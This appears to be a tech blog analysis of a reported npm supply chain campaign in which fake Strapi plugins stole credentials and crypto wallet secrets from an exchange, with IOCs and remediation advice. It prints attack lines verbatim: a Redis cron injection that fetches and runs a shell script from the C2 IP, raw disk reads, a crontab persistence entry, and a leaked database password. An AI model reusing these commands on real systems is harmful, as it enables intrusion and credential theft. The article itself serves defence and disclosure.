Tech 10 min read

36 fake Strapi plugins on npm targeted a crypto exchange with Redis RCE and PostgreSQL credential theft

IkesanContents

Before the dust settled on the axios maintainer getting fully compromised by North Korean UNC1069 social engineering, yet another npm supply chain attack surfaced. This time, the targeting was remarkably specific.

According to research published by SafeDep in early April 2026, 36 malicious packages disguised as Strapi CMS plugins appeared on the npm registry. Every package followed the strapi-plugin- naming convention with version 3.6.8, mimicking Strapi v3 community plugins.

In contrast to UNC1069 broadly targeting maintainers of Fastify, Lodash, dotenv, and others by hijacking trusted human accounts, these were packages built from scratch purely for attack. However, the payloads (the actual malicious code) contained hardcoded PostgreSQL credentials and hostnames that indicate internal information had already been stolen. The entry point differs, but the pattern is the same: compromise a human or system first, then weaponize what you learn through the supply chain.

The payload contents make it clear this was not a spray-and-pray campaign. There are strong indicators that the infrastructure of crypto exchange Guardarian was the explicit target.

36 packages in 13 hours, 4 throwaway accounts

The packages were published from 4 sock-puppet (disposable impersonation) accounts.

AccountPackage countPrimary payloads
umarbek12339Redis RCE, Docker escape, reverse shells, credential harvesting
kekylf128PostgreSQL direct exfiltration, persistent implants, fileless shells
tikeqemif2610nordica-series variants
umar_bektembiev110Initial wave, includes guardarian-ext

Metadata from umarbek1233 and kekylf12 reveals the same Node.js v24.13.1 / npm 11.8.0 environment. Either the same person, or at minimum the same dev setup shared across a group.

Every package has the same 3-file structure: package.json, an empty index.js (module.exports = () => {}), and the real payload in postinstall.js. The moment you run npm install, the postinstall script fires and the attack begins without user interaction. No description, no repository, no homepage.

8 payload variants and their evolution

The 36 packages contain 8 distinct payload types, showing the attacker progressively refining their approach over the 13-hour publication window.

graph TD
    A["02:02 UTC<br/>Payload 1: Redis RCE<br/>crontab injection + PHP webshell"] --> B["02:47<br/>Payload 2: Docker escape<br/>overlay upperdir parsing"]
    B --> C["03:01-03:37<br/>Payload 3-4: Reverse shells<br/>bash/Python/Redis, 3 paths"]
    C --> D["03:40-03:46<br/>Payload 5: Credential harvesting<br/>11-phase recon + C2 polling"]
    D --> E["04:45<br/>Payload 6: PostgreSQL direct access<br/>hardcoded credentials"]
    E --> F["11:53<br/>Payload 7: Persistent implant<br/>hostname===prod-strapi gate"]
    F --> G["15:04<br/>Payload 8: Fileless shell<br/>Guardarian-specific paths"]

The timeline shows a progression from rough Redis RCE to precision attacks hardcoding the target’s hostname and file paths.

Payload 1: crontab injection via Redis CONFIG SET

The first package published, strapi-plugin-cron, uses a technique that is classic in the Redis world but still devastating. It sends raw RESP protocol (Redis’s wire protocol) commands to a locally accessible Redis instance.

The attack flow:

CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SET cron_payload "*/1 * * * * curl -s http://144.31.107.231:9999/shell.sh | bash"
SAVE

CONFIG SET dir changes where Redis saves its data, CONFIG SET dbfilename sets the filename to match crontab’s expected name, and SAVE writes it out as a crontab entry. The cron daemon then downloads and executes a shell script from the C2 (Command and Control) server every minute.

Five crontab paths are attempted:

PathTarget environment
/var/spool/cron/crontabs/rootDebian/Ubuntu
/var/spool/cron/rootRHEL/CentOS
/etc/cron.d/redis_jobSystem-wide cron
/etc/crontabGlobal crontab
/tmp/cron_testDry-run write test

The downloaded shell script plants two backdoors in Strapi’s public upload directory:

  • A PHP webshell at /app/public/uploads/shell.php
  • A Node.js reverse shell at /app/public/uploads/revshell.js

It also attempts SSH authorized_keys injection and direct disk reads via mknod /tmp/hostdisk b 8 1 and dd if=/dev/sda1. One unauthenticated Redis instance is all it takes.

What is the Redis CONFIG SET attack?

This technique has been known since around 2015. Redis defaults to no authentication and local binding, and CONFIG SET allows changing the data directory to any path. It is meant for dynamic runtime configuration, but for attackers it becomes an arbitrary file write primitive.

Beyond crontab, SSH authorized_keys, web server document roots, and systemd unit files have all been abused as write targets. Redis 6.0 introduced ACLs (access control lists), and Redis 7.0 protects CONFIG SET dir by default, but older versions or instances running with default settings remain widespread.

Payload 2: Docker overlay escape

strapi-plugin-config attempts a container escape. It parses mount command output to extract the overlayfs upperdir path and reach the host filesystem.

Overlayfs is the union filesystem Docker uses. Container filesystems are composed of a lower layer (the image) and an upper layer (the container’s changes). The upperdir is the host-side path for this upper layer, which should be invisible from inside the container. But in privileged containers or configurations that leak mount information, this path provides a route to the host.

This payload explicitly searches for crypto-related environment variables: HOT_WALLET, COLD_WALLET, DEPOSIT_ADDRESS, MNEMONIC. The targets are private keys for hot wallets (online assets available for immediate transfer) and cold wallets (offline storage).

It also writes a payload to /app/node_modules/.hooks.js, which auto-executes when the Strapi application restarts.

Payload 5: 11-phase reconnaissance and credential harvesting

strapi-plugin-monitor and strapi-plugin-events carry the most systematic payload. On postinstall execution, they run 11 phases of reconnaissance, send collected data to the C2, then enter a command-polling loop.

graph TD
    A["Phase 1: System beacon<br/>hostname, user, IP, Node.js version"] --> B["Phase 2: .env file theft<br/>8 hardcoded paths"]
    B --> C["Phase 3: Environment variable dump<br/>filter for key/secret/token"]
    C --> D["Phase 4: Strapi config files"]
    D --> E["Phase 5: Full .env search<br/>find / -maxdepth 5 -name '.env*'"]
    E --> F["Phase 6: Redis data dump<br/>INFO, DBSIZE, KEYS"]
    F --> G["Phase 7: Network recon<br/>/etc/hosts, ARP, routes"]
    G --> H["Phase 8: Docker/K8s secrets<br/>including service account tokens"]
    H --> I["Phase 9: Private key search<br/>.pem, .key, id_rsa*, wallet*"]
    I --> J["Phase 10: Strapi database access"]
    J --> K["Phase 11: C2 polling loop<br/>30 iterations x 5s = 2.5 min"]

Phase 8’s Kubernetes component reads /var/run/secrets/kubernetes.io/serviceaccount/token. If this token leaks, it can be used to access the Kubernetes cluster API beyond the pod boundary.

Environment variable filtering uses the regex /key|secret|pass|token|db|redis|api|jwt|admin|auth|wallet|ledger/i, with npm-derived variables excluded as noise. Note wallet and ledger in that list.

C2 communication goes to 144.31.107.231:9999 over plain HTTP POST. No encryption, 15-second timeout. The path format is /c2/<session_id>/, where session IDs look like guard-k7f2m9. The guard- prefix is a strong hint at Guardarian.

Payload 6: PostgreSQL direct access with hardcoded credentials

strapi-plugin-seed has the highest target specificity. PostgreSQL connection details are hardcoded:

host: 127.0.0.1
port: 5432
user: user_strapi
password: 1QKtYPp18UsyU2ZwInVM

These credentials were stolen beforehand. This means the campaign is not initial access but a secondary attack weaponizing existing access. The same pattern as UNC1069 taking over the axios maintainer’s machine and then using npm tokens to publish a poisoned release: reusing credentials obtained through initial access via a different channel. Whether those credentials were obtained via social engineering, a separate supply chain attack, or an insider is unknown, but the depth of prior reconnaissance rules out guesswork.

Post-connection behavior has 3 stages:

  1. Query strapi_webhooks to extract internal API URLs
  2. Extract records from core_store matching secret, token, key, api, webhook, grant, password, auth
  3. Enumerate pg_database and attempt connections to every non-template database

It also explicitly tries databases named guardarian, guardarian_payments, exchange, custody, payments, and api_payments. Table search patterns use /wallet|transaction|deposit|withdraw|hot|cold|balance/i, pinpointing crypto exchange asset management tables.

Payload 7-8: persistence and fileless backdoors

The final two payloads are the most refined.

Payload 7 (strapi-plugin-blurhash@3.6.8) performs strict hostname gating. It only executes when hostname === 'prod-strapi'. This condition means the attacker knew Guardarian’s production hostname.

Persistence is two-layered:

  • Writes an agent to /tmp/.node_gc.js, launched with detached: true + child.unref() to detach from the parent process
  • Registers a crontab entry * * * * * pgrep -f node_gc || node /tmp/.node_gc.js to resurrect the process every minute if killed

C2 polling runs at 3-second intervals against /shell/poll and /shell/result.

Payload 8 (strapi-plugin-blurhash@3.6.9, same package name, different version) goes further. It uses a fileless (no disk artifacts) approach, spawning a node -e '<inline C2 agent code>' process that exists only in memory.

The hardcoded paths reveal the target’s internal layout:

  • /var/www/nowguardarian-strapi/.env for Guardarian’s Strapi environment config
  • /opt/secrets/strapi-green.env for blue-green deployment environment config
  • Full directory read of /opt/secrets/

Jenkins CI pipeline usage is also assumed, with C2 paths like /build/<id>/secret.

How npm supply chain attack tactics have evolved

Placing this campaign alongside recent npm supply chain attacks:

CampaignTechniqueTarget breadthTechnical sophistication
UNC1069 maintainer targetingSocial engineering to compromise maintainer machinesVery broad (Fastify, Lodash, dotenv, high-trust maintainers)High (humans as attack vector)
axios compromise (success case of above)Maintainer account takeover, legitimate package poisoningVery broad (100M weekly downloads)Medium (3 OS RAT)
SANDWORM_MODETyposquatting (lookalike package names)Broad (AI developers)Medium (SSH key and npm token theft)
Famous Chollima StegaBinTyposquatting + zero-width character steganographyBroadHigh (C2 concealment)
ClinejectionPrompt injection via AI agentsMedium (Cline users)Very high (AI as attack vector)
This Strapi plugin campaignTyposquatting + weaponized pre-stolen intelExtremely narrow (single company)Low-medium (no obfuscation)

What stands out is the complete absence of code obfuscation. Every payload is readable JavaScript, prioritizing development speed over stealth. Shipping 8 payload variants in 13 hours is a speed-first approach: “land it before detection catches up.”

On the other hand, the attacker knew the target’s production hostname, PostgreSQL credentials, internal directory structure, and CI tooling. That depth of prior reconnaissance (or possible insider involvement) is hard to miss. The npm package route was likely chosen to expand access using internal information already in hand.

The threats npm currently faces come from two directions. One is the UNC1069-style “attack the trusted human” approach, taking over maintainer machines to poison legitimate packages. The other is campaigns like this one: fake packages that directly target specific infrastructure. Both ultimately depend on previously obtained internal information. The npm registry is becoming less of an attack origin and more of a relay point.

IOCs (Indicators of Compromise) and response

C2 traffic concentrates on 3 ports at 144.31.107.231:

PortPurpose
9999Primary C2: data exfiltration, command delivery
4444bash reverse shell
8888Python reverse shell

Filesystem artifacts to check:

PathDescription
/tmp/.node_gc.jsPersistent agent
/tmp/vps_shell.sh, /tmp/redis_exec.shDownloaded shell scripts
/app/public/uploads/shell.phpPHP webshell
/app/node_modules/.hooks.jsInjected hook

Any environment that installed these packages should be treated as compromised. Full credential rotation, Redis crontab audit, /tmp inspection for suspicious files, and PostgreSQL connection log review are all necessary.

Developers searching npm for Strapi v3 community plugins should be especially wary of unscoped packages (those without the @strapi/ prefix). Adopting postinstall script restriction mechanisms like pnpm v10’s onlyBuiltDependencies is also an effective way to reduce the blast radius of attacks like this.